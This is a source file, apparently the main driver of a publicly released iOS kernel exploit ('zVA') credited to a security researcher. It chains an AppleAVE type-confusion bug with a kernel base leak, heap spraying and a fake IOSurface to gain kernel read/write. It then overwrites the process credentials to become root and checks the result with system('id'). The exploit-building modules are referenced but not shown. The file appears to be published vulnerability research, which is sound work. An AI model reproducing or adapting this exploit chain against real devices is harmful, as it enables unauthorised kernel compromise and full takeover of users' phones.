-
Notifications
You must be signed in to change notification settings - Fork 102
/
Copy pathmain.m
197 lines (156 loc) · 3.72 KB
/
main.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#include "log.h"
#include "kernel_read.h"
#include "apple_ave_pwn.h"
#include "offsets.h"
#include "heap_spray.h"
//#include "dbg.h"
#include "iosurface_utils.h"
#include "rwx.h"
#include "post_exploit.h"
#define KERNEL_MAGIC (0xfeedfacf)
/*
* Function name: print_welcome_message
* Description: Prints a welcome message. Includes credits.
* Returns: void.
*/
static
void print_welcome_message() {
kern_return_t ret = KERN_SUCCESS;
DEBUG_LOG("Welcome to zVA! Zimperium's unsandboxed kernel exploit");
DEBUG_LOG("Credit goes to:");
DEBUG_LOG("\tAdam Donenfeld (@doadam) for heap info leak, kernel base leak, type confusion vuln and exploit.");
}
/*
* Function name: initialize_iokit_connections
* Description: Creates all the necessary IOKit objects for the exploitation.
* Returns: kern_return_t.
*/
static
kern_return_t initialize_iokit_connections() {
kern_return_t ret = KERN_SUCCESS;
ret = apple_ave_pwn_init();
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error initializing AppleAVE pwn");
goto cleanup;
}
ret = kernel_read_init();
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error initializing kernel read");
goto cleanup;
}
cleanup:
if (KERN_SUCCESS != ret)
{
kernel_read_cleanup();
apple_ave_pwn_cleanup();
}
return ret;
}
/*
* Function name: cleanup_iokit
* Description: Cleans up IOKit resources.
* Returns: kern_return_t.
*/
static
kern_return_t cleanup_iokit() {
kern_return_t ret = KERN_SUCCESS;
kernel_read_cleanup();
apple_ave_pwn_cleanup();
return ret;
}
/*
* Function name: test_rw_and_get_root
* Description: Tests our RW capabilities, then overwrites our credentials so we are root.
* Returns: kern_return_t.
*/
static
kern_return_t test_rw_and_get_root() {
kern_return_t ret = KERN_SUCCESS;
uint64_t kernel_magic = 0;
ret = rwx_read(offsets_get_kernel_base(), &kernel_magic, 4);
if (KERN_SUCCESS != ret || KERNEL_MAGIC != kernel_magic)
{
ERROR_LOG("error reading kernel magic");
if (KERN_SUCCESS == ret)
{
ret = KERN_FAILURE;
}
goto cleanup;
} else {
DEBUG_LOG("kernel magic: %x", (uint32_t)kernel_magic);
}
ret = post_exploit_get_kernel_creds();
if (KERN_SUCCESS != ret || getuid())
{
ERROR_LOG("error getting root");
if (KERN_SUCCESS == ret)
{
ret = KERN_NO_ACCESS;
}
goto cleanup;
}
cleanup:
return ret;
}
int main(int argc, char const *argv[])
{
#pragma unused(argc)
#pragma unused(argv)
kern_return_t ret = KERN_SUCCESS;
void * kernel_base = NULL;
void * kernel_spray_address = NULL;
print_welcome_message();
system("id");
ret = offsets_init();
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error initializing offsets for current device.");
goto cleanup;
}
ret = initialize_iokit_connections();
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error initializing IOKit connections!");
goto cleanup;
}
ret = heap_spray_init();
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error initializing heap spray");
goto cleanup;
}
ret = kernel_read_leak_kernel_base(&kernel_base);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error leaking kernel base");
goto cleanup;
}
DEBUG_LOG("Kernel base: %p", kernel_base);
offsets_set_kernel_base(kernel_base);
ret = heap_spray_start_spraying(&kernel_spray_address);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error spraying heap");
goto cleanup;
}
ret = apple_ave_pwn_use_fake_iosurface(kernel_spray_address);
if (KERN_SUCCESS != kIOReturnError)
{
ERROR_LOG("Error using fake IOSurface... we should be dead by here.");
} else {
DEBUG_LOG("We're still alive and the fake surface was used");
}
ret = test_rw_and_get_root();
if (KERN_SUCCESS != ret)
{
ERROR_LOG("error getting root");
goto cleanup;
}
system("id");
cleanup:
cleanup_iokit();
heap_spray_cleanup();
return ret;
}